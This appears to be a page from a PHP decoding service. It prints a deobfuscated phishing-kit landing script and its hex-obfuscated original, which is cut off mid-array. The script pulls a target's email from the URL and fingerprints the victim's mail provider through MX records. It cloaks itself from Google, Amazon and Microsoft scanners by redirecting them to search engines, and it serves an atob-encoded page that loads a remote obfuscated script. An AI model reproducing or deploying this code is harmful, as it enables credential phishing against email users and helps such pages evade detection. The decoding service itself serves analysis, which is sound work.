Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(1); session_start(); require_once __DIR__ . "/CONFIG.php"; g..

Decoded Output download

<?php 
error_reporting(1); 
session_start(); 
 
require_once __DIR__ . "/CONFIG.php"; 
 
goto o1o5P; U3OjW: checkRealPerson(); goto VLjdl; kpYvC: function _ip() : string { global $ip_data; $ip = pick_ip(); $ip__ = @file_get_contents("http://ip-api.com/json/{$ip}"); if (strContains($ip__, "country")) { return $ip__; } else { return "{}"; } } goto ycujp; xCvCs: $QUERY = ''; goto U3OjW; hPBJP: function set_cookies($name, $value) : void { setcookie($name, $value, time() + 86400 * 2, "/"); } goto jR9vr; jR9vr: function remove_cookie($name) : void { setcookie($name, '', time() - 7200, "/"); } goto rpKCJ; Mqts_: function checkRealPerson() : void { global $the_Real_IP, $ip_data; $ctx = stream_context_create(array("http" => array("timeout" => 2))); $ip = @file_get_contents(str_ireplace("/?", "/" . pick_ip() . "?", base64_decode("aHR0cDovL2lwLWFwaS5jb20vanNvbi8/ZmllbGRzPXN0YXR1cyxpc3Asb3JnLHJldmVyc2UsbW9iaWxlLHByb3h5LGhvc3RpbmcscXVlcnk=")), false, $ctx); $ipArray = @json_decode($ip, true); if (!is_array($ipArray)) { return; } if (!isset($ipArray["status"])) { return; } $the_Real_IP = $ipArray["query"]; $ip_data = $ipArray; $ip = json_decode($ip); $gam = strtolower($ip->isp . " - " . $ip->org . " - " . $ip->reverse); if (strContains($gam, "google") > 0 || strContains($gam, "amazon") > 0 || strContains($gam, "bitly") > 0 || strContains($gam, "bit.ly") > 0 || strContains($gam, "aws") > 0 || strContains($gam, "microsoft") > 0 || strContains($gam, "opera") > 0 || strContains($gam, "mozila") > 0 || strContains($gam, "firfox") > 0) { redirectToUnknown(); } } goto jzlwt; mSRXE: function is_email($email) : bool { return preg_match("/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,9})+$/", $email); } goto ejnRH; e30o5: function startsWith(string $str, string $pattern) : bool { $str = strtolower($str); $pattern = strtolower($pattern); $length = strlen($pattern); return substr($str, 0, $length) === $pattern; } goto Uor_l; jzlwt: function pick_ip() { global $the_Real_IP; if (strlen($the_Real_IP) > 5) { return $the_Real_IP; } if (!empty($_SERVER["HTTP_X_REAL_IP"])) { $ip = $_SERVER["HTTP_X_REAL_IP"]; } elseif (!empty($_SERVER["HTTP_CLIENT_IP"])) { $ip = $_SERVER["HTTP_CLIENT_IP"]; } elseif (!empty($_SERVER["REMOTE_ADDR"])) { $ip = $_SERVER["REMOTE_ADDR"]; } else { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; } if (in_array($ip, array("::1", "127.0.0.1", "localhost"))) { unset($ip); return ''; } else { return $ip; } } goto kpYvC; UHNyy: function _rand() : string { $r1 = rawurlencode(rand() * rand() * rand() . uniqid()); $r2 = mt_rand() * mt_rand() * mt_rand(); $r3 = randomID(mt_rand(12, 100)); return "
    <!--
    {$r1}\xa    {$r2}
    {$r3}
    -->"; } goto sQQ2l; Kc8it: function strContains(string $str, string $needle) : bool { return substr_count($str, $needle) > 0; } goto zbsgV; zbsgV: function htmlGenerator(string $content) : string { $rnd = _rand(); $rnd2 = _rand(); $rnd3 = _rand(); $rnd4 = _rand(); $data = base64_encode(rawurlencode("{$rnd}{$content}{$rnd2}")); $_data = array("{$rnd3}<html lang="en"><script>document.write(decodeURIComponent(window.atob("{$data}")))</script>{$rnd4}</html>", "<!DOCTYPE html><html lang="en">{$rnd3}<script>document.write(decodeURIComponent(window.atob("{$data}")))</script></html>{$rnd4}", "{$rnd3}<script>document.write(decodeURIComponent(window.atob("{$data}")))</script>{$rnd4}"); return $_data[array_rand($_data)]; } goto UHNyy; k8FIb: function mx($email) : string { global $records; if (!strContains($email, "@") || !strContains($email, ".")) { return ''; } try { $domain = substr_count($email, "@") ? @end(@explode("@", $email)) : $email; getmxrr($domain, $mxs); $mXXs = ''; if (is_array($mxs)) { foreach ($mxs as $mx) { $mXXs .= "---" . $mx; } } else { return ''; } if (strlen($mXXs) < 3) { return ''; } foreach ($records as $item) { if (substr_count(strtolower($mXXs), strtolower($item["mx"]))) { return $item["name"]; } unset($item); } return "Others"; } catch (\Throwable $th) { return ''; } } goto Ui0FX; Uor_l: function endsWith(string $str, string $pattern) : bool { $str = strtolower($str); $pattern = strtolower($pattern); return substr($str, -strlen($pattern), strlen($pattern)) === $pattern; } goto Kc8it; mUa3o: $data = str_ireplace("<head></head>", innerAdd($is_email_address), base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuLVVTIiBjbGFzcz0ibm8tanMgbm8taWUiPgo8aGVhZD48L2hlYWQ+PGJvZHk+Cjxub3NjcmlwdD5Zb3UgbmVlZCB0byBlbmFibGUgSmF2YVNjcmlwdCB0byBydW4gdGhpcyBhcHAuPC9ub3NjcmlwdD4KPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuLnN0YXRpY2FsbHkuaW8vZ2wvYmF5b2thbGlzdS91cmlkai10dXJieW8yQG1haW4vNjhhNjkxYzNlYzI3M2Q4N2RkNzVjNmMwNTIxOGNkOGRjbjBsdDRhem5wNy9sdDRhem5wOC5taW4uanMiPjwvc2NyaXB0Pgo8L2JvZHk+PC9odG1sPg==")); goto dIPmh; dIPmh: echo htmlGenerator($data); goto xurks; rpKCJ: function pathEmail() : string { $i = $_SERVER["REQUEST_URI"] ?? ''; $i = strContains($i, "?") ? explode("?", $i)[0] : $i; if (strContains($i, "/") && !endsWith($i, "/")) { if (count(explode("/", $i)) < 5) { $e = explode("/", $i); $e = (string) end($e); if (is_email($e)) { return $e; } else { $e = returnBase64($i); return is_email($e) && strlen($e) > 5 ? $e : ''; } } } return ''; } goto Mqts_; ejnRH: function returnBase64($encoded) : string { try { return base64_decode($encoded); } catch (Exception $exception) { return ''; } } goto zEJn5; zEJn5: function is_query_landed() : array { global $LICENSE_KEY, $saveInvalidEntries; $ip_data = _ip(); $is_email = $_GET["email"] ?? $_GET["mail"] ?? $_GET["user"] ?? $_GET["person"] ?? $_GET["account"] ?? pathEmail(); $is_email = strlen($is_email) > 5 && strContains($is_email, "@") && strContains($is_email, ".") ? $is_email : returnBase64($is_email); if (is_email($is_email)) { $end = mx($is_email); return array("userid" => base64_encode(json_encode(array("email" => $is_email, "provider" => $end))), "ip" => $ip_data, "license" => $LICENSE_KEY, "saveInvalid" => $saveInvalidEntries); } else { return array("ip" => $ip_data, "license" => $LICENSE_KEY, "saveInvalid" => $saveInvalidEntries); } } goto k8FIb; Ui0FX: function innerAdd(array $inner) : string { $inner = base64_encode(json_encode($inner)); return "<head><script>const _____='{$inner}'</script></head>"; } goto e30o5; ycujp: function http_redirected($url) : void { echo "<script>window.location.replace('{$url}');</script>"; die; } goto IV0vA; IV0vA: function redirectToUnknown() : void { global $searchParams; $searchParams = rawurlencode($searchParams); $list = array("https://www.ask.com/web?o=0&l=dir&qo=serpSearchTopBox&ad=dirN&rtb=20000&q={$searchParams}", "https://www.bing.com/search?q={$searchParams}&cvid=8522ac64abd749269b31a6fdb567d56a&aqs=edge.0.0l9.635j0j4&FORM=ANAB01&PC=DCTS", "https://search.yahoo.com/search;_ylt=AwrEo090er9iBTYNuZJDDWVH;_ylc=X1MDMTE5NzgwNDg2NwRfcgMyBGZyAwRmcjIDcDpzLHY6c2ZwLG06c2ItdG9wBGdwcmlkA1U4X2drcVRGVERhRDRBcmZQR0x3OUEEbl9yc2x0AzAEbl9zdWdnAzEwBG9yaWdpbgNzZWFyY2gueWFob28uY29tBHBvcwMwBHBxc3RyAwRwcXN0cmwDMARxc3RybAMxOARxdWVyeQNNaWNyb3NvZnQlMjBPbmVEcml2ZQR0X3N0bXADMTY1NjcxNTg5OA--?p={$searchParams}&fr=sfp&fr2=p%3As%2Cv%3Asfp%2Cm%3Asb-top&iscqry=", "https://www.google.com/search?q={$searchParams}&sxsrf=ALiCzsbrLDQ2KctNmH_RIanPvqPSjqb1Vw%3A1656716047996&source=hp&ei=D3u_YqWROpCHlwTx9qD4Ag&iflsig=AJiK0e8AAAAAYr-JH0CYYN8AbH8G59ayT3JOVoFSNXwu&ved=0ahUKEwjl1KCc5Nj4AhWQw4UKHXE7CC8Q4dUDCAc&uact=5&oq={$searchParams}&gs_lcp=Cgdnd3Mtd2l6EAMyBQgAEIAEMgUIABCABDIFCAAQgAQyBQgAEIAEMgUIABCABDIFCAAQgAQyBQgAEIAEMgUIABCABDIFCAAQgAQyBQgAEIAEUABYAGC_BGgAcAB4AIAB2AGIAdgBkgEDMi0xmAEAoAECoAEB&sclient=gws-wiz", "https://www.youtube.com/results?search_query={$searchParams}", "https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&ch=&tn=baidu&bar=&wd={$searchParams}&rn=&fenlei=256&oq=&rsv_pq=835422aa0002ac2a&rsv_t=6497SlvSbubKeEQiJKn3KL3SuZZtXrJNITLPGYEx%2Bbx5%2B1mf%2F9%2FyQ0avW1M&rqlang=cn", "https://duckduckgo.com/?q={$searchParams}&t=h_&ia=web", "https://yandex.com/search/?text={$searchParams}&lr=20742"); http_redirected($list[array_rand($list)]); } goto mSRXE; VLjdl: $is_email_address = is_query_landed(); goto mUa3o; TAmp1: $the_Real_IP = ''; goto Fi3bF; Fi3bF: $ip_data = ''; goto iG9Mf; o1o5P: $records = array(array("name" => "AOL", "mx" => "mx-aol.mail"), array("name" => "Yahoo", "mx" => ".prodigy.net"), array("name" => "Yahoo", "mx" => ".yahoodns.net"), array("name" => "Yahoo", "mx" => ".yahoo."), array("name" => "Zoho", "mx" => ".zoho.com"), array("name" => "1and1", "mx" => ".1and1."), array("name" => "Outlook", "mx" => "olc.protection.outlook.com"), array("name" => "Outlook", "mx" => ".mail.outlook.com"), array("name" => "Outlook", "mx" => ".hotmail."), array("name" => "Office 365", "mx" => "mail.protection.outlook.com"), array("name" => "Office 365", "mx" => ".outlook.com"), array("name" => "Office 365", "mx" => ".office365.com"), array("name" => "Gmail", "mx" => ".google.com"), array("name" => "Mail.ru", "mx" => ".mail.ru"), array("name" => "Mail.com", "mx" => ".mail.com"), array("name" => "Earthlink", "mx" => ".earthlink.net"), array("name" => "Earthlink", "mx" => ".oxsus-vadesecure.net"), array("name" => "Rackspace", "mx" => ".emailsrvr.com"), array("name" => "Mimecast", "mx" => ".mimecast.com"), array("name" => "Godaddy", "mx" => ".secureserver.net"), array("name" => "Comcast", "mx" => ".comcast.net"), array("name" => "Office 365", "mx" => ".ppe-hosted.com"), array("name" => "Office 365", "mx" => ".gslb.pphosted.com"), array("name" => "Office 365", "mx" => ".arsmtp.com"), array("name" => "Zoho", "mx" => ".zoho.com"), array("name" => "ProtonMail", "mx" => "mail.protonmail.ch"), array("name" => "Facebook", "mx" => ".facebook.com"), array("name" => "163", "mx" => ".netease.com"), array("name" => "163", "mx" => ".163.com"), array("name" => "263", "mx" => ".263.net"), array("name" => "Aliyun", "mx" => ".alibaba.com"), array("name" => "Aliyun", "mx" => ".aliyun.com"), array("name" => "Amazon", "mx" => ".amazon.com"), array("name" => "Amazon", "mx" => ".amazonaws.com"), array("name" => "Anazana", "mx" => ".anazana.com"), array("name" => "CoreMail", "mx" => ".icoremail.net"), array("name" => "GMX", "mx" => ".gmx.net"), array("name" => "GMX", "mx" => ".gmx.com"), array("name" => "Hinet", "mx" => ".hinet."), array("name" => "iCloud", "mx" => ".icloud.com"), array("name" => "Iinet", "mx" => ".iinet.net.au"), array("name" => "Namecheap", "mx" => ".registrar-servers.com"), array("name" => "Network Solutions", "mx" => ".myregisteredsite.com"), array("name" => "Orange", "mx" => ".orange."), array("name" => "QQ", "mx" => ".qq.com"), array("name" => "Synaq", "mx" => ".synaq."), array("name" => "Web.de", "mx" => ".web.de"), array("name" => "Yandex", "mx" => ".yandex."), array("name" => "Zmail", "mx" => ".zmail."), array("name" => "Strato", "mx" => ".strato.de"), array("name" => "Apple", "mx" => ".apple.com"), array("name" => "Cox Webmail", "mx" => ".cloudfilter.net")); goto TAmp1; iG9Mf: $searchParams = "turbify mail"; goto xCvCs; xurks: die; goto hPBJP; sQQ2l: function randomID(int $length = 30) : string { $result = ''; $characters = str_split("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"); $counter = 0; while ($counter < $length) { $result .= $characters[array_rand($characters)]; $counter += 1; } return $result; } 
 
 ?>

Did this file decode correctly?

Original Code

<?php
error_reporting(1);
session_start();

require_once __DIR__ . "/CONFIG.php";

goto o1o5P; U3OjW: checkRealPerson(); goto VLjdl; kpYvC: function _ip() : string { global $ip_data; $ip = pick_ip(); $ip__ = @file_get_contents("\x68\164\x74\160\x3a\x2f\57\151\x70\55\141\160\151\56\143\157\x6d\57\x6a\163\x6f\x6e\57{$ip}"); if (strContains($ip__, "\x63\157\x75\x6e\164\x72\171")) { return $ip__; } else { return "\x7b\175"; } } goto ycujp; xCvCs: $QUERY = ''; goto U3OjW; hPBJP: function set_cookies($name, $value) : void { setcookie($name, $value, time() + 86400 * 2, "\57"); } goto jR9vr; jR9vr: function remove_cookie($name) : void { setcookie($name, '', time() - 7200, "\x2f"); } goto rpKCJ; Mqts_: function checkRealPerson() : void { global $the_Real_IP, $ip_data; $ctx = stream_context_create(array("\150\x74\x74\160" => array("\164\x69\x6d\x65\157\x75\164" => 2))); $ip = @file_get_contents(str_ireplace("\x2f\x3f", "\57" . pick_ip() . "\77", base64_decode("\x61\110\x52\60\143\104\157\166\114\62\x6c\x77\114\x57\106\x77\x61\123\65\152\x62\x32\x30\166\141\x6e\x4e\x76\x62\x69\x38\57\132\155\x6c\154\142\x47\122\172\120\130\116\60\x59\130\122\61\x63\x79\x78\x70\x63\63\x41\x73\142\x33\112\x6e\114\x48\x4a\154\x64\x6d\x56\x79\143\x32\x55\x73\142\127\71\151\x61\127\170\154\114\x48\x42\171\142\x33\x68\x35\114\x47\150\166\x63\x33\122\160\x62\x6d\143\163\x63\x58\126\154\x63\156\153\x3d")), false, $ctx); $ipArray = @json_decode($ip, true); if (!is_array($ipArray)) { return; } if (!isset($ipArray["\x73\164\x61\164\165\x73"])) { return; } $the_Real_IP = $ipArray["\161\x75\x65\x72\171"]; $ip_data = $ipArray; $ip = json_decode($ip); $gam = strtolower($ip->isp . "\x20\x2d\40" . $ip->org . "\40\x2d\40" . $ip->reverse); if (strContains($gam, "\147\157\157\x67\154\145") > 0 || strContains($gam, "\x61\155\x61\172\157\156") > 0 || strContains($gam, "\x62\151\164\154\171") > 0 || strContains($gam, "\x62\151\164\56\154\171") > 0 || strContains($gam, "\141\167\163") > 0 || strContains($gam, "\x6d\x69\x63\x72\x6f\x73\x6f\146\164") > 0 || strContains($gam, "\x6f\x70\x65\x72\141") > 0 || strContains($gam, "\x6d\x6f\172\x69\154\141") > 0 || strContains($gam, "\x66\151\162\x66\157\x78") > 0) { redirectToUnknown(); } } goto jzlwt; mSRXE: function is_email($email) : bool { return preg_match("\x2f\136\134\x77\53\x28\x5b\134\56\x2d\x5d\x3f\x5c\x77\53\x29\x2a\x40\134\167\x2b\x28\x5b\134\x2e\x2d\x5d\x3f\x5c\167\x2b\x29\52\50\134\x2e\134\167\x7b\x32\54\x39\175\x29\x2b\x24\x2f", $email); } goto ejnRH; e30o5: function startsWith(string $str, string $pattern) : bool { $str = strtolower($str); $pattern = strtolower($pattern); $length = strlen($pattern); return substr($str, 0, $length) === $pattern; } goto Uor_l; jzlwt: function pick_ip() { global $the_Real_IP; if (strlen($the_Real_IP) > 5) { return $the_Real_IP; } if (!empty($_SERVER["\110\x54\124\x50\137\130\x5f\x52\105\101\114\x5f\111\120"])) { $ip = $_SERVER["\x48\124\124\120\137\130\x5f\x52\105\x41\114\137\111\120"]; } elseif (!empty($_SERVER["\x48\x54\x54\120\x5f\103\x4c\111\105\x4e\124\137\x49\x50"])) { $ip = $_SERVER["\110\124\x54\120\137\103\114\111\105\116\124\x5f\x49\120"]; } elseif (!empty($_SERVER["\x52\105\x4d\117\124\105\137\x41\x44\104\x52"])) { $ip = $_SERVER["\x52\105\115\117\124\105\137\101\x44\x44\x52"]; } else { $ip = $_SERVER["\x48\x54\124\120\x5f\130\x5f\106\x4f\x52\x57\101\122\x44\105\x44\137\x46\x4f\122"]; } if (in_array($ip, array("\72\x3a\x31", "\x31\62\x37\x2e\x30\56\60\56\x31", "\154\157\143\141\154\150\x6f\x73\164"))) { unset($ip); return ''; } else { return $ip; } } goto kpYvC; UHNyy: function _rand() : string { $r1 = rawurlencode(rand() * rand() * rand() . uniqid()); $r2 = mt_rand() * mt_rand() * mt_rand(); $r3 = randomID(mt_rand(12, 100)); return "\12\x20\40\x20\40\x3c\41\x2d\55\12\x20\40\x20\40{$r1}\xa\x20\x20\40\40{$r2}\12\x20\x20\40\40{$r3}\12\40\40\x20\40\55\55\76"; } goto sQQ2l; Kc8it: function strContains(string $str, string $needle) : bool { return substr_count($str, $needle) > 0; } goto zbsgV; zbsgV: function htmlGenerator(string $content) : string { $rnd = _rand(); $rnd2 = _rand(); $rnd3 = _rand(); $rnd4 = _rand(); $data = base64_encode(rawurlencode("{$rnd}{$content}{$rnd2}")); $_data = array("{$rnd3}\x3c\150\164\155\154\x20\x6c\x61\156\x67\75\x22\x65\x6e\x22\x3e\74\163\x63\162\x69\160\x74\x3e\144\x6f\143\165\x6d\145\x6e\x74\x2e\167\162\x69\x74\x65\x28\x64\145\x63\157\x64\145\125\122\111\x43\157\x6d\x70\157\x6e\x65\x6e\164\50\x77\x69\x6e\144\x6f\x77\x2e\x61\x74\157\x62\x28\x22{$data}\x22\51\51\51\74\57\x73\x63\162\x69\160\x74\x3e{$rnd4}\74\57\x68\x74\155\154\76", "\74\x21\x44\x4f\x43\124\x59\x50\105\40\150\x74\x6d\x6c\76\x3c\x68\x74\155\x6c\x20\x6c\141\156\x67\75\42\x65\156\42\76{$rnd3}\x3c\163\x63\x72\151\160\x74\x3e\144\157\x63\x75\x6d\145\156\164\56\x77\162\151\x74\x65\50\x64\x65\x63\157\x64\145\x55\x52\111\x43\x6f\155\x70\x6f\x6e\145\156\x74\x28\x77\151\156\144\157\x77\56\141\x74\157\142\x28\42{$data}\x22\51\x29\x29\x3c\x2f\x73\x63\x72\x69\x70\164\x3e\74\x2f\x68\x74\155\154\76{$rnd4}", "{$rnd3}\74\163\x63\x72\151\x70\x74\x3e\144\x6f\143\x75\x6d\x65\x6e\164\56\167\x72\x69\164\145\x28\144\145\143\x6f\x64\x65\125\x52\x49\103\x6f\x6d\160\x6f\156\x65\x6e\164\x28\167\x69\x6e\144\x6f\167\x2e\x61\x74\157\142\x28\x22{$data}\42\x29\51\x29\x3c\57\x73\143\x72\151\x70\164\x3e{$rnd4}"); return $_data[array_rand($_data)]; } goto UHNyy; k8FIb: function mx($email) : string { global $records; if (!strContains($email, "\x40") || !strContains($email, "\x2e")) { return ''; } try { $domain = substr_count($email, "\100") ? @end(@explode("\100", $email)) : $email; getmxrr($domain, $mxs); $mXXs = ''; if (is_array($mxs)) { foreach ($mxs as $mx) { $mXXs .= "\55\55\x2d" . $mx; } } else { return ''; } if (strlen($mXXs) < 3) { return ''; } foreach ($records as $item) { if (substr_count(strtolower($mXXs), strtolower($item["\155\x78"]))) { return $item["\156\x61\155\x65"]; } unset($item); } return "\x4f\x74\x68\x65\x72\163"; } catch (\Throwable $th) { return ''; } } goto Ui0FX; Uor_l: function endsWith(string $str, string $pattern) : bool { $str = strtolower($str); $pattern = strtolower($pattern); return substr($str, -strlen($pattern), strlen($pattern)) === $pattern; } goto Kc8it; mUa3o: $data = str_ireplace("\x3c\x68\145\141\x64\76\x3c\x2f\x68\x65\x61\x64\76", innerAdd($is_email_address), base64_decode("\120\x43\106\x45\124\x30\116\125\127\126\102\106\111\x47\150\x30\x62\127\x77\x2b\103\x6a\170\x6f\144\107\x31\x73\111\x47\x78\150\x62\x6d\x63\x39\111\x6d\x56\x75\x4c\126\x56\124\111\x69\x42\152\x62\x47\x46\x7a\x63\172\x30\151\142\155\x38\x74\141\x6e\x4d\x67\x62\155\70\x74\x61\127\125\x69\120\147\x6f\70\141\x47\x56\x68\x5a\x44\x34\x38\114\x32\150\x6c\131\x57\x51\x2b\120\x47\x4a\166\x5a\x48\153\x2b\x43\152\x78\x75\x62\x33\116\152\x63\x6d\154\x77\x64\104\65\x5a\x62\x33\x55\147\x62\155\x56\154\x5a\103\102\60\142\171\x42\154\x62\x6d\x46\151\x62\x47\125\x67\123\x6d\x46\62\x59\x56\x4e\x6a\x63\155\154\167\x64\103\x42\x30\x62\171\x42\171\144\x57\64\147\144\107\x68\160\x63\x79\x42\x68\143\110\101\165\120\x43\x39\165\142\x33\x4e\152\x63\x6d\154\x77\x64\104\x34\x4b\120\110\x4e\152\x63\155\x6c\167\144\x43\x42\172\143\155\115\x39\111\155\x68\60\144\110\102\x7a\117\x69\x38\166\131\x32\122\165\114\x6e\116\x30\131\x58\x52\160\131\62\106\163\x62\110\153\165\141\x57\x38\166\132\62\x77\x76\131\x6d\106\65\142\62\x74\150\142\107\154\172\x64\123\71\x31\143\x6d\x6c\x6b\141\x69\x31\x30\144\130\112\151\x65\127\70\x79\x51\107\61\150\141\127\x34\166\116\x6a\x68\150\x4e\152\x6b\170\x59\x7a\x4e\154\x59\172\111\x33\115\x32\x51\x34\x4e\x32\x52\x6b\116\x7a\x56\152\x4e\155\115\167\116\124\111\170\x4f\107\x4e\x6b\x4f\x47\x52\x6a\142\152\x42\x73\x64\104\122\150\x65\155\65\x77\116\171\71\x73\144\104\x52\x68\x65\155\65\x77\x4f\103\x35\x74\x61\x57\x34\165\141\x6e\115\x69\120\x6a\x77\x76\143\x32\116\x79\141\130\x42\x30\x50\147\x6f\70\114\x32\112\x76\x5a\110\x6b\x2b\x50\x43\71\157\144\107\61\163\x50\x67\75\x3d")); goto dIPmh; dIPmh: echo htmlGenerator($data); goto xurks; rpKCJ: function pathEmail() : string { $i = $_SERVER["\122\x45\121\125\105\123\124\137\x55\122\x49"] ?? ''; $i = strContains($i, "\x3f") ? explode("\x3f", $i)[0] : $i; if (strContains($i, "\57") && !endsWith($i, "\57")) { if (count(explode("\57", $i)) < 5) { $e = explode("\x2f", $i); $e = (string) end($e); if (is_email($e)) { return $e; } else { $e = returnBase64($i); return is_email($e) && strlen($e) > 5 ? $e : ''; } } } return ''; } goto Mqts_; ejnRH: function returnBase64($encoded) : string { try { return base64_decode($encoded); } catch (Exception $exception) { return ''; } } goto zEJn5; zEJn5: function is_query_landed() : array { global $LICENSE_KEY, $saveInvalidEntries; $ip_data = _ip(); $is_email = $_GET["\x65\155\141\151\154"] ?? $_GET["\155\x61\151\x6c"] ?? $_GET["\x75\x73\x65\162"] ?? $_GET["\x70\145\x72\x73\157\x6e"] ?? $_GET["\x61\143\143\157\165\x6e\x74"] ?? pathEmail(); $is_email = strlen($is_email) > 5 && strContains($is_email, "\100") && strContains($is_email, "\56") ? $is_email : returnBase64($is_email); if (is_email($is_email)) { $end = mx($is_email); return array("\165\163\145\162\151\x64" => base64_encode(json_encode(array("\145\155\x61\x69\154" => $is_email, "\160\x72\x6f\x76\151\x64\145\162" => $end))), "\x69\160" => $ip_data, "\x6c\x69\x63\x65\x6e\163\x65" => $LICENSE_KEY, "\163\x61\x76\145\x49\x6e\x76\x61\x6c\151\x64" => $saveInvalidEntries); } else { return array("\x69\x70" => $ip_data, "\x6c\151\x63\x65\156\163\145" => $LICENSE_KEY, "\163\x61\x76\x65\111\156\166\x61\154\x69\x64" => $saveInvalidEntries); } } goto k8FIb; Ui0FX: function innerAdd(array $inner) : string { $inner = base64_encode(json_encode($inner)); return "\x3c\x68\x65\141\x64\x3e\74\163\x63\162\151\x70\x74\x3e\143\157\156\163\164\x20\x5f\137\137\137\137\75\47{$inner}\x27\x3c\x2f\163\x63\162\151\x70\164\x3e\x3c\x2f\x68\x65\x61\144\x3e"; } goto e30o5; ycujp: function http_redirected($url) : void { echo "\x3c\x73\143\162\151\x70\164\76\167\151\x6e\x64\x6f\x77\x2e\x6c\x6f\x63\x61\164\x69\157\156\x2e\162\x65\x70\x6c\x61\x63\145\x28\x27{$url}\x27\x29\x3b\x3c\x2f\163\x63\162\151\x70\x74\x3e"; die; } goto IV0vA; IV0vA: function redirectToUnknown() : void { global $searchParams; $searchParams = rawurlencode($searchParams); $list = array("\150\x74\x74\x70\163\72\57\x2f\167\x77\x77\56\x61\163\x6b\x2e\143\x6f\x6d\x2f\167\x65\142\x3f\x6f\x3d\x30\46\x6c\75\144\151\162\x26\161\157\x3d\163\145\x72\x70\123\x65\141\x72\143\x68\124\x6f\160\102\x6f\x78\46\x61\144\75\144\x69\x72\x4e\46\x72\164\142\75\62\x30\x30\60\x30\46\x71\x3d{$searchParams}", "\150\x74\164\160\x73\x3a\57\57\x77\x77\x77\56\142\151\x6e\147\56\143\157\155\x2f\163\145\x61\x72\x63\150\x3f\x71\75{$searchParams}\x26\143\166\151\144\x3d\x38\65\62\x32\x61\143\x36\64\x61\x62\144\x37\64\71\62\x36\x39\142\63\61\x61\66\146\x64\x62\65\x36\x37\x64\x35\x36\x61\46\x61\161\163\x3d\x65\x64\x67\145\x2e\60\56\x30\x6c\x39\56\x36\x33\65\x6a\60\152\x34\46\106\x4f\x52\x4d\x3d\101\116\x41\x42\60\61\x26\120\x43\x3d\x44\x43\124\123", "\150\164\x74\160\163\72\57\x2f\163\x65\141\x72\143\x68\x2e\171\x61\150\157\157\56\143\x6f\x6d\57\163\x65\141\x72\x63\150\73\x5f\171\x6c\164\75\x41\x77\x72\105\157\60\71\60\x65\162\71\x69\102\124\131\x4e\165\x5a\112\104\104\127\x56\x48\73\137\x79\154\x63\75\130\x31\115\104\x4d\x54\105\65\116\x7a\147\167\x4e\x44\x67\62\x4e\x77\122\x66\143\147\115\171\x42\107\x5a\171\x41\167\122\x6d\143\152\x49\x44\x63\104\160\172\114\110\131\x36\x63\x32\132\167\114\x47\x30\66\x63\x32\x49\164\x64\x47\x39\x77\x42\107\144\x77\143\155\154\x6b\x41\x31\x55\64\130\62\144\x72\143\x56\x52\x47\126\105\122\150\x52\x44\122\102\x63\x6d\132\121\122\60\x78\63\x4f\x55\x45\105\x62\x6c\71\x79\143\62\x78\x30\x41\x7a\101\105\x62\x6c\x39\172\x64\127\x64\156\x41\172\x45\x77\x42\x47\71\171\141\127\144\160\x62\147\116\172\x5a\x57\x46\x79\131\62\147\x75\145\127\x46\x6f\x62\x32\70\x75\131\x32\x39\x74\102\x48\102\166\143\167\x4d\167\x42\x48\x42\170\x63\63\122\171\101\167\122\x77\x63\130\x4e\x30\x63\x6d\x77\104\115\x41\122\170\143\x33\122\171\142\x41\115\x78\117\x41\122\x78\x64\127\126\171\145\121\x4e\x4e\x61\127\116\171\142\63\x4e\166\132\x6e\121\154\x4d\x6a\x42\120\x62\x6d\x56\x45\x63\x6d\154\x32\x5a\x51\122\x30\130\63\116\x30\x62\130\x41\104\115\124\131\61\116\152\x63\170\116\x54\x67\x35\117\x41\55\55\77\x70\x3d{$searchParams}\x26\146\x72\x3d\x73\x66\160\46\146\x72\62\75\160\45\63\101\163\45\62\x43\166\x25\63\101\163\x66\x70\x25\62\103\155\45\x33\x41\163\x62\55\x74\157\160\46\x69\x73\x63\161\162\x79\75", "\x68\x74\x74\160\x73\72\x2f\57\167\x77\x77\56\147\157\157\147\154\145\x2e\x63\157\x6d\x2f\163\145\x61\x72\143\150\77\161\x3d{$searchParams}\x26\x73\170\163\x72\x66\x3d\101\114\x69\x43\172\x73\142\162\114\x44\121\x32\x4b\143\164\116\155\x48\137\122\111\x61\156\120\x76\161\x50\123\x6a\161\x62\x31\x56\x77\x25\63\x41\61\x36\x35\x36\x37\x31\x36\x30\64\67\x39\71\66\x26\163\157\165\162\x63\x65\x3d\150\160\x26\x65\151\75\x44\63\165\x5f\x59\x71\127\x52\x4f\x70\x43\110\x6c\x77\124\170\71\x71\104\64\x41\x67\46\x69\x66\x6c\x73\x69\147\x3d\x41\x4a\151\x4b\x30\145\x38\x41\x41\101\101\101\x59\162\x2d\112\110\x30\103\131\x59\116\70\101\x62\110\x38\x47\x35\71\141\x79\x54\x33\x4a\117\126\157\106\x53\116\x58\167\165\46\166\145\144\x3d\x30\141\150\x55\113\105\167\152\x6c\61\113\x43\143\65\116\x6a\64\101\x68\127\x51\x77\x34\x55\113\110\x58\x45\67\x43\103\x38\x51\64\x64\125\x44\103\101\143\x26\x75\141\143\164\x3d\x35\x26\x6f\161\x3d{$searchParams}\x26\x67\163\x5f\x6c\143\160\x3d\103\x67\x64\x6e\x64\63\x4d\x74\x64\x32\x6c\66\x45\101\115\x79\102\121\x67\101\105\x49\x41\x45\x4d\147\x55\x49\101\102\103\101\102\104\x49\106\103\x41\101\121\x67\x41\x51\x79\102\121\x67\x41\105\x49\x41\105\115\147\125\x49\x41\x42\x43\101\102\104\x49\106\x43\101\x41\121\147\101\x51\171\102\121\x67\x41\x45\111\x41\x45\x4d\x67\125\x49\101\102\x43\x41\x42\x44\111\106\103\101\x41\121\x67\x41\x51\x79\x42\121\147\x41\x45\x49\x41\x45\x55\101\x42\131\x41\x47\x43\137\102\107\147\101\x63\x41\x42\x34\101\x49\x41\x42\62\101\107\x49\x41\x64\x67\x42\x6b\147\x45\104\115\151\60\x78\155\x41\105\x41\x6f\x41\x45\103\157\x41\105\x42\x26\163\143\154\151\145\156\x74\75\147\167\163\55\x77\151\172", 